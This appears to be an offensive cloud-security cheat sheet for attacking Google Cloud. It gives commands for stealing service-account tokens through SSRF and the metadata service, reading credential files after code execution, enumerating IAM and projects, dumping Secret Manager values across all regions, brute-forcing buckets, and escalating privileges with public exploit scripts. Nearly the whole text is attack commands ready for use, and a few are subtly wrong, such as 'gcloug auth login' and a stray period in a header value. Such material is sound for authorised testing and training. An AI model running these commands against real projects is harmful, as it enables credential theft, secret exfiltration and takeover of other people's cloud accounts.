GCP

Three Main Components of Google Cloud are:

  • Cloud Identity

  • Google Workspace

  • Google Cloud Platform

Reminder: Add basic concepts

Attack Vectors

Attackers can obtain GCP credentials through multiple vectors:

  • Exploiting web apps hosted on GCP

    • SSRF โ†’ Access metadata service

    • RCE โ†’ Dump environment variables, application config files, or mounted service account keys

  • Open Source Intelligence (Leaked service account keys on GitHub, GitLab, or public repos)

  • Phishing / Social Engineering

  • Public GCS buckets containing service account keys or JSON credential files.

Stealing Service Account Tokens via SSRF

  • Send request to http://169.254.169.254 or http://metadata.google.internal/ along with header Metadata-Flavor: Google.

  • To send this header along with the request, we use gopher protocol.

git clone https://github.com/eMVee-NL/SSRF2gopher.git --depth 1
python3 SSRF2gopher.py -u <url> -p <port> -e <endpoint> -m <method> -H "Metadata-Flavor: Google." "Content-Type:application/json"
  • Example: http://169.254.169.254/computeMetadata/v1/instance/service-accounts/

Some SSRF filters only allow http://metadata.google.internal/ instead of raw IP. Both resolve to the metadata service.

Stealing Service Account Tokens via RCE

  • Check environment variables:

env | grep -i google
  • Check for credential files:

# Service account keys or tokens
grep -iER 'ya29' / 2>/dev/null
grep -iER 'https://oauth2.googleapis.com/token' / 2>/dev/null | grep .json

# Application default credentials
cat /etc/google/auth/application_default_credentials.json
cat /root/.config/gcloud/application_default_credentials.json

# gcloud CLI stored tokens (if installed)
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/access_tokens.db

# Kubernetes ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
  • Query the Metadata Service (VMs, GKE, some managed services):

# List available service accounts
curl -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"

# Get token for the default service account
curl -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

# Get token for a specific service account
curl -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/<service_account>/token"

Authentication

  • Login with Gmail account:

gcloug auth login
  • Authenticate using Service Account key file:

gcloud auth activate-service-account --key-file=service_account_json_file.json
  • Use an access token file:

gcloud <command> --access-token-file token.txt
  • Send token directly with curl:

curl -s -X GET \
    -H "Authorization: Bearer $(cat token.txt)" \
    "https://iam.googleapis.com/v1/projects/-/serviceAccounts"
  • Authenticate with Google HMAC credentials:

gsutil config -a

By default, gsutil reuses gcloud credentials. If you want gsutil to use only HMAC creds and not your gcloud login, disable credential passing: gcloud config set pass_credentials_to_gsutil false

Check current authentication details:

gcloud auth list

Show active configuration:

gcloud config list

Enumeration

Organization Enumeration

# List organizations available to current account:
gcloud organizations list

# Get IAM policy for an organization
gcloud organizations get-iam-policy <org_id>

# List folders under an organization
gcloud resource-manager folders list --organization=<org_id>

# List projects under an organization
gcloud projects list --filter="parent.id=<org_id>"

If you have only project-level access, you may not see org info. Try enumerating projects and their parent orgs with:

gcloud projects describe <project_id> --format="value(parent.id)"

Project Enumeration

# List all accessible projects
gcloud projects list

# Set active project
gcloud config set project <project_id>

# Get IAM policy for a project
gcloud projects get-iam-policy <project_id>

# List APIs/services enabled on the project
gcloud services list --enabled --project <project_id>

# Describe a project (to get parent org/folder)
gcloud projects describe <project_id>

Service Accounts Enumeration

# List all service accounts in the active project
gcloud iam service-accounts list

# Get IAM policy (who can impersonate / use this service account)
gcloud iam service-accounts get-iam-policy <service_account_email>

# List keys associated with a service account
gcloud iam service-accounts keys list --iam-account <service_account_email>

# Check roles assigned to a specific service account
gcloud projects get-iam-policy <project_id> \
    --flatten="bindings[].members" \
    --filter="bindings.members:serviceAccount:<account_email>" \
    --format="value(bindings.role)"

# Check which resources our owned service account can access
# Use grep to filter out buckets, cloudfunctions etc
gcloud asset search-all-resources --scope="projects/<project_id>" --filter="NOT state:DELETED" --format="table(assetType, name)"

IAM Roles & Service Account Permissions

# List all predefined roles
gcloud iam roles list

# Describe a predefined role
gcloud iam roles describe <roles/owner>

# List custom roles for a project
gcloud iam roles list --project <project_id>

# Describe a custom role in a project
gcloud iam roles describe <role_name> --project <project_id>

# Check permissions
git clone https://github.com/egre55/gcp-permissions-checker;
python3 gcp_perm_checker.py -Token "$(cat ~/token.txt)" -ProjectID <project_id>

# Clone GCP IAM brute tool (for brute-forcing permissions)
git clone https://github.com/hac01/gcp-iam-brute.git

python3 main.py \
  --access-token $(gcloud auth print-access-token) \
  --project-id $(gcloud config get-value project) \
  --service-account-email $(gcloud auth list --filter=status:ACTIVE --format="value(account)")

# Loop through service accounts and check IAM policy
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "[*] Checking $sa"
  gcloud iam service-accounts get-iam-policy "$sa"
done

# Extract service accounts from project IAM policy
gcloud projects get-iam-policy <project_id> \
  --format="flattened(bindings[].members)" \
  | grep 'serviceAccount:' \
  | awk -F'serviceAccount:' '{print $2}' \
  | sort -u > serviceaccounts.txt

# Test sensitive permissions on each service account
for sa in $(cat serviceaccounts.txt); do
  echo "[*] Checking $sa"
  curl -s -X POST \
    -H "Authorization: Bearer $(gcloud auth print-access-token)" \
    -H "Content-Type: application/json" \
    -d '{
          "permissions": [
            "iam.serviceAccounts.getAccessToken",
            "iam.serviceAccountKeys.create",
            "iam.serviceAccounts.signBlob",
            "iam.roles.update",
            "iam.serviceAccounts.signJwt",
            "iam.serviceAccounts.implicitDelegation",
            "iam.serviceAccounts.actAs"
          ]
        }' \
    "https://iam.googleapis.com/v1/projects/-/serviceAccounts/$sa:testIamPermissions"
done

Services Enumeration

# ---------------------------------------------------
# Secret Manager (roles/secretmanager.secretAccessor)
# ---------------------------------------------------
gcloud secrets list
gcloud secrets versions list <secret_name>
gcloud secrets versions access latest --secret=<secret_name>
gcloud secrets versions access <version_number> --secret=<secret_name>

# Getting secrets from all regions
ACCESS_TOKEN=$(cat ~/token.txt)
PROJECT="project_id"
REGIONS=(
  asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1
  asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2
  europe-central2 europe-north1 europe-west1 europe-west2 europe-west3 europe-west4
  europe-west6 me-central1 me-west1 northamerica-northeast1 northamerica-northeast2
  southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-west1 us-west2 us-west3 us-west4
)
for REGION in "${REGIONS[@]}"; do
  URL="https://secretmanager.${REGION}.rep.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/secrets"
  echo "[*] $REGION"
  curl -s -H "Authorization: Bearer $ACCESS_TOKEN" "$URL" \
    | jq -r '.secrets[]?.name' 2>/dev/null
done
# Getting secrets values
REGION="region"
PROJECT_NUM="project_id"
SECRET="secret_name"
ACCESS_TOKEN=$(cat ~/token.txt)
curl -s \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  "https://secretmanager.${REGION}.rep.googleapis.com/v1/projects/${PROJECT_NUM}/locations/${REGION}/secrets/${SECRET}/versions/latest:access" \
  | jq

# --------------------------------------------
# Cloud SQL (roles/cloudsql.viewer + DB creds)
# --------------------------------------------
gcloud sql instances list
mysql -h <ip_address> -u <username> -p
psql "host=<ip> port=<port> user=<username> dbname=<db_name> sslmode=require"

# -----------------------------------------------
# Cloud Source Repositories (roles/source.reader)
# -----------------------------------------------
gcloud source repos list --access-token-file=access_token.txt

# ------------------
# Artifact Registry
# ------------------
gcloud artifacts repositories list
gcloud artifacts docker images list <location>-docker.pkg.dev/<project_id>/<repo_name>
gcloud auth configure-docker <location>-docker.pkg.dev
docker pull <location>-docker.pkg.dev/<project_id>/<repo_name>/<image_name>@sha256:<sha256_hash>

# ---------------------
# Cloud Storage Buckets
# ---------------------
# Bruteforce bucket names using token
python3 gcpbucketbrute.py -f token_file -k <keywords> -s 10

# List buckets and objects
gcloud storage ls gs://<bucket_name>
gcloud cp gs://<bucket_name>/<file_path> <local_path>

gsutil ls
gsutil ls gs://<bucket_name>
gsutil cp gs://<bucket_name>/<file_path> <local_path>

# --------------
# Compute Engine
# --------------
gcloud compute instances list
gcloud compute instances describe <vm-name> --zone=<zone> 
gcloud compute ssh <vm-name> --zone=<zone>
gcloud compute instances start <vm-name>
gcloud compute ssh <vm-name> --ssh-key-file <key_path> --tunnel-through-iap
gcloud compute ssh <vm-name> --ssh-key-file <key_path> --tunnel-through-iap --ssh-flag '-L local_port:remote_host:remote_port'

# ----------------
# Cloud Functions
# ----------------
gcloud functions list --access-token-file=access_token.txt
gcloud functions describe <function_name> --region=<region> --access-token-file=access_token.txt

# ----------------
# HMAC Credentials
# ----------------
gcloud storage hmac list
gcloud storage hmac describe ACCESS_ID
gcloud storage hmac create SERVICE_ACCOUNT_EMAIL

Privilege Escalation & Lateral Movement

Implicit Delegation (iam.serviceAccounts.implicitDelegation)

  • This permission allows a service account to impersonate another service account without requiring explicit roles/iam.serviceAccountTokenCreator permissions.

  • It works by letting an attacker delegate access from an account they already control to a more privileged service account.

# Exploit script:
# https://raw.githubusercontent.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/refs/heads/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py

python3 iam.serviceAccounts.implicitDelegation.py <owned_service_account_email> <target_service_account_email>

signJWT (iam.serviceAccounts.signJwt)

  • This permission allows signing of arbitrary JWTs (JSON Web Tokens) on behalf of a service account.

  • JWTs can then be exchanged with Googleโ€™s OAuth2 endpoint for valid access tokens, essentially allowing the attacker to impersonate the service account.

# Exploit script:
# https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py

python3 iam.serviceAccounts.signJWT.py <service_account_email> <project_id>

Service Account Impersonation (iam.serviceAccountTokenCreator)

  • It allows a principal (user, service account, or group) to impersonate service accounts by generating tokens/credentials on their behalf.

gcloud --impersonate-service-account=<service_account_email> auth print-access-token
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html
https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
https://github.com/RhinoSecurityLabs/GCPBucketBrute
https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public/pocs/gcp_enum/-/blob/master/gcp_enum.sh?ref_type=heads

Last updated